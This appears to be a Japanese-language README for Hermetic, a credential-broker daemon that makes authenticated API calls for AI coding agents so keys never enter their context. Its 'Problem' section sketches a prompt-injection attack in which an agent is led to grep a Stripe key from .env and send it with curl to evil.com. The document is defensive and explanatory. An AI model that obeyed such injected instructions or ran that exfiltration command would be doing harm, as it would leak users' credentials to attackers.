hermetic

エージェント隔離型クレデンシャルブローカー
AIエージェントが認証済み呼び出しを行います。キーは決してエージェントの目に触れません。

ウェブサイト · インストール · クイックスタート · 仕組み · セキュリティモデル · 脆弱性の報告

[!IMPORTANT] あなたのAIエージェントは ★★★ ブローカー層 で動作します: クレデンシャルの平文がエージェントのコンテキストに含まれることは決してありません。Hermetic は別のデーモン内で認証済み呼び出しを実行し、レスポンスのみを返します。エージェントはデータを取得しますが、キーは決して取得しません。

問題点

すべてのAIコーディングエージェント（Claude Code、Cursor、Copilot、Windsurf）は、あなたのユーザーとしてシェルコマンドを実行します。.env ファイル内のすべてのAPIキー、シェル履歴内のすべてのトークン、~/.aws/credentials 内のすべてのクレデンシャルが、エージェントが実行するあらゆるコードからアクセス可能です。

GitHub Issue 内のプロンプトインジェクション、コードコメント、またはAPIエラーレスポンスによって、エージェントに次のような指示が与えられる可能性があります:

1. Stripeキーを見つける  →  cat .env | grep STRIPE
2. 外部に流出させる       →  curl https://evil.com?key=$STRIPE_KEY
3. あなたは知る由もない   →  エージェントは通常通り続行する

これは理論上の話ではありません。 サプライチェーン攻撃はすでに開発者のUIDでクレデンシャル窃取を実行しています。AIエージェントはこれをデフォルトの攻撃対象にします。

解決策

Hermetic はローカルデーモンであり、AIエージェントに代わってAPI呼び出しを行うため、エージェントはあなたのクレデンシャルに触れることがありません。

   ┌───────────┐   ハンドル  ┌──────────────┐    HTTPS     ┌──────────┐
   │  AIエージェント│──────────▶│   Hermetic   │─────────────▶│   API    │
   │           │◀──────────│    デーモン   │◀─────────────│  サーバー │
   └───────────┘  レスポンス └──────────────┘  レスポンス   └──────────┘

   エージェントのメモリ              デーモンのメモリ
   ✗ クレデンシャルなし              ✓ クレデンシャル（プロセス内で復号）
   ✓ 不透明なハンドル                ✓ ドメインバインディング
   ✓ APIレスポンス                    ✓ 改ざん検出可能な監査ログ

クレデンシャルは エージェントのアドレス空間に決して入りません — メモリ、環境変数、ファイル、コマンド出力のいずれにも含まれません。エージェントはAPIレスポンスのみを受け取り、それ以外は何も受け取りません。

インストール

curl -sSf https://hermeticsys.com/install.sh | sh

単一の静的バイナリ（Rust、ランタイム依存関係なし）。Docker不要、クラウドアカウント不要、テレメトリなし。

git clone https://github.com/hermetic-sys/hermetic.git
cd hermetic && cargo build --release --locked

[!TIP] ダウンロードを信頼する前に検証してください — アーティファクトの検証 を参照。

クイックスタート

hermetic init                 # 暗号化されたボールトを作成（パスフレーズを指定）
hermetic add                  # インタラクティブウィザード: キーを貼り付け、サービスを自動検出
hermetic start                # 強化されたデーモンを起動
hermetic connect              # AIエージェントを接続（Claude Code / Cursor / … を自動検出）

# 認証済み呼び出しを実行 — キーはデーモンから出ない
hermetic request --secret openai_key --url https://api.openai.com/v1/models

hermetic doctor               # すべてが正常であることを確認
hermetic audit                # Hermetic が実行したすべての操作を表示

新しいマシンでは、引数なしで hermetic を実行することもできます — ボールトがまだ存在しないことを検出し、ガイド付きセットアップを案内します。

クレデンシャルの3つの利用方法

ほとんどのクレデンシャルマネージャーは1つのオプションしか提供しません: 秘密を読み取り、自分で使用する。Hermetic は3つのオプションを提供し、それぞれ異なる保証があります。

★★★ ブローカー — エージェントは決して秘密を見ない

hermetic request --secret openai_key \
  --url https://api.openai.com/v1/chat/completions \
  --method POST --body '{"model":"gpt-4","messages":[...]}'

デーモンがクレデンシャルを注入し、HTTPS呼び出しを行います。エージェントは不透明なハンドルを送信し、レスポンスを受け取ります — クレデンシャル露出: ゼロ。他のクレデンシャルマネージャーではこれを行うものはありません: op/Vault/aws-vault はすべて呼び出し元プロセスに秘密を返します。Hermetic は秘密を別のデーモン内に保持します。

★★ 一時的 — 子プロセス内で、その後消去

hermetic run --secret github_pat --env-var GITHUB_TOKEN -- git push origin main

クレデンシャルは、その1つのコマンドの存続期間中、生成された子プロセスの環境に注入され、その後消去されます。エージェントは終了コードを受け取ります。子プロセスの標準出力/標準エラー出力はスキャンされ、漏洩したクレデンシャルは編集され、危険なインタプリタはブロックされます。

★ 直接 — あなたの端末、あなたの責任

hermetic reveal --secret stripe_key

クレデンシャルを端末に表示します。パスフレーズゲート、レート制限、監査ログ付き — 手動でキーを貼り付ける必要がある場合に使用します。CLIのみ; エージェントツールとしては決して公開されません。

Hermetic と代替手段の比較

MCPプロキシ — すべてのMCPサーバーのクレデンシャルを保護

すべてのMCPサーバー（GitHub、Slack、Jira、Notion）は通常、IDE設定に平文のトークンを必要とします。Hermetic はMCPサーバーをプロキシし、代わりにボールトからクレデンシャルを注入します:

{
  "mcpServers": {
    "github": {
      "command": "hermetic",
      "args": [
        "proxy", "--server", "github",
        "--credential", "github_pat:GITHUB_PERSONAL_ACCESS_TOKEN",
        "--",
        "npx", "-y", "@modelcontextprotocol/server-github"
      ]
    }
  }
}

--credential <vault-name>:<ENV_VAR> はボールトから秘密を解決し、子プロセスの環境に注入します — 設定ファイルに平文のトークンは不要です。プロキシはまた、すべてのサーバー→エージェントメッセージをクレデンシャル漏洩についてスキャンし、ツール定義を固定（サプライチェーンの「ラグプル」を検出）、ツールごとの許可/拒否ポリシーを適用し、子プロセスを独自のプロセスグループに隔離します。

SSHエージェント — あなたの鍵はボールトから決して出ない

Hermetic は標準のSSHエージェントプロトコルを話します。SSH_AUTH_SOCK をそれに向けると、すべての git push、scp、rsync、およびSSH接続が、暗号化されたボールトから鍵を使用して署名します — ~/.ssh/ に抽出することなく。

hermetic start --ssh-agent
source ~/.hermetic/ssh-agent.env          # .bashrc/.zshrc に追加
hermetic ssh-keygen --type ed25519 --name github-ssh   # ボールト内で生成
ssh-add -l                                # 鍵が表示される
git push origin main                      # デーモンを介して署名

デーモンはすべての署名を内部で実行します — 秘密鍵のバイトはSSHクライアントに入りません。Ed25519、RSA（SHA-256/512）、およびECDSA P-256をサポート。SHA-1署名は拒否します。

AIエージェントを接続する

hermetic connect                 # エージェントを自動検出し、MCP設定を書き込む
hermetic connect claude-code     # または特定のエージェントを指定: claude-code · cursor · windsurf · claude-desktop
hermetic connect --list          # サポートされているエージェントを一覧表示

これにより、Hermetic がMCPサーバーとして登録されます。エージェントは次のツールを取得しますが、どのツールもクレデンシャル値を返しません:

OpenClaw 統合

OpenClaw は両方のモードを同時に取得します: MCPサーバー（★★★ ブローカー、エージェント用）とexecプロバイダー（OpenClaw自身のLLMキー用）。

hermetic reveal --set anthropic_key              # OpenClawが読み取り可能な1つの秘密にタグ付け
hermetic reveal --configure openclaw --install   # MCP + exec-provider設定を書き込む

execプロバイダーのリゾルバーは hermetic reveal --protocol openclaw です — これは、標準入力でJSONリクエスト（{"ids":[...]}）を読み取り、標準出力でJSONレスポンス（{"protocolVersion":1,"values":{...}}）を書き込むネイティブプロトコルであり、それ以外は何もしません。すべての開示はパスフレーズゲート、レート制限、監査ログ付きです。エージェントのブローカーパスは引き続き hermetic_authenticated_request を使用し、値を決して見ません。完全なフロー: OpenClaw セットアップ。

セキュリティモデル

Hermetic はあなたの最も機密性の高いクレデンシャルを保持するため、それらを使用しようとする同じエージェントに対して強化されています。

デーモンは自身を保護する ために、すべての接続で3つの層を使用します:

1. バイナリ認定       — デーモンは接続元のバイナリのハッシュを検証します。
                          Pythonスクリプトや未知のバイナリは拒否されます。
2. メッセージごとの送信者 — カーネルはすべてのメッセージで送信者IDを検証します。
                          セッション途中で異なるプロセスは拒否されます。
3. プロセスに紐づくトークン — 別のプロセスによって盗まれたセッショントークンは拒否されます。

さらに: シークレットはRAMにメモリロック、コアダンプ無効化、ダンプ保護、SSRFブロッキングとDNSピン留めによるHTTPSのみ、改ざん検出可能な HMAC チェーン監査ログ（hermetic audit）。

[!WARNING] Hermetic が保護しないもの。 ブローカーはクレデンシャルをエージェントから隔離します — Hermetic 自身としてコードを実行できる同一UIDプロセスからは隔離しません。カーネルは同一UIDのコードを区別できません（SO_PEERCRED はUIDのみを検証します）。したがって、クレデンシャルの使用 は許容されます: すでにあなたとして実行されているプロセスは、ブローカー呼び出しを駆動し、レスポンスを読み取ることができます。そのようなプロセスに対しても閉ざされているもの: クレデンシャルの平文は決してそのプロセスに公開されません（開示パスはありません）。ボールトの変更（追加/ローテーション/再バインド）には新しいユーザー存在証明が必要です — したがって、キーを盗んだり、静かにボールトを変更したりすることはできません。バイナリ認定はさらに、非Hermeticバイナリが接続することを完全に防ぎます。これは、平文のenvファイルやキーチェーンよりも実質的に強力であり、envファイルやキーチェーンはあらゆる同一UIDプロセスに生のキーを直接渡します。Hermetic は依然として、完全に侵害されたローカルユーザーアカウント、カーネルレベルの攻撃者、またはハードウェアメモリフォレンジックに対する防御策ではありません。製品の一部としてこの境界を正直に文書化するため、この点を明確に記載しています。

完全な脅威モデル、サポートされているバージョン、および脆弱性の報告方法については、SECURITY.md を参照してください。

アーティファクトの検証

すべてのリリースには SHA256SUMS が同梱されています。ダウンロード後、実行前にチェックサムを検証してください:

sha256sum -c SHA256SUMS

GPGリリース署名（公開された鍵フィンガープリントに対する分離された SHA256SUMS.asc）が計画されています。それまでは、SHA-256チェックサムが整合性チェックです。クレデンシャルツールの場合、実行するバイナリを検証することが基本です — install.sh はこれを自動的に行います。

オープンコア

Hermetic は オープンコア です — 何がオープンソースで何がそうでないかを明確にしています。

このリポジトリ内の2つのクレートは AGPL-3.0-or-later であり、自分で監査およびビルドできます。ブローカーデーモン/CLIバイナリは プロプライエタリ（無料層 + 有料Pro機能）です — オープンソースではなく、意図的にそう述べています。セキュリティは決してゲートされていません: 無料バイナリとProバイナリは同一のセキュリティコードを実行します。

なぜこれほど多くのコードがあるのか？

「秘密を保存し、それを返す」だけなら、数百行で構築できます。しかし、あなたのマシン上の任意のスクリプトがソケットに接続してあなたのキーを取得できてしまいます — まさにAIエージェントがあなたのUIDとして任意のコードを実行する際の問題です。複雑さの理由は暗号化ではなく、間違ったプロセスが暗号化されたものにアクセスできないようにすることにあります: バイナリ認定、メッセージごとの送信者検証、プロセスに紐づくトークン、クレデンシャル漏洩スキャン、ツール定義の固定、SSRFブロッキング、DNSピン留め、インタプリタブロックリスト、メモリ強化など。各防御策は、それなしで実際の攻撃が実証されたために存在します。

検証

Hermetic は敵対的に検証されています — 独立したAI駆動のレッドチームキャンペーン、クラッシュゼロのファジング、ミューテーションテスト、実行中のデーモンに対するライブ攻撃シミュレーション。テスト中に見つかった実際の脆弱性は再現され、カーネルレベルの防御で恒久的に閉じられました。暗号化コア（このリポジトリ）は独立したレビューのためにオープンです。完全なストーリーはホワイトペーパーにあります。

ドキュメント

• はじめに — ゼロから最初のブローカーリクエストまで
• CLIリファレンス — すべてのコマンドとフラグ
• MCP統合 — 各プラットフォームのエージェント設定
• セキュリティ概要 — 防御層と脅威モデル
• Python統合 — CLIを介してPythonからHermeticを操作

コントリビューション

CONTRIBUTING.md を参照してください。オープンコアクレートへのコントリビューションには署名済みCLAが必要です。

ライセンス

オープンコアクレート（hermetic-core、hermetic-transport）: AGPL-3.0-or-later (LICENSE)。 Hermetic バイナリはプロプライエタリです — COMMERCIAL_LICENSE.md を参照するか、[email protected] までお問い合わせください。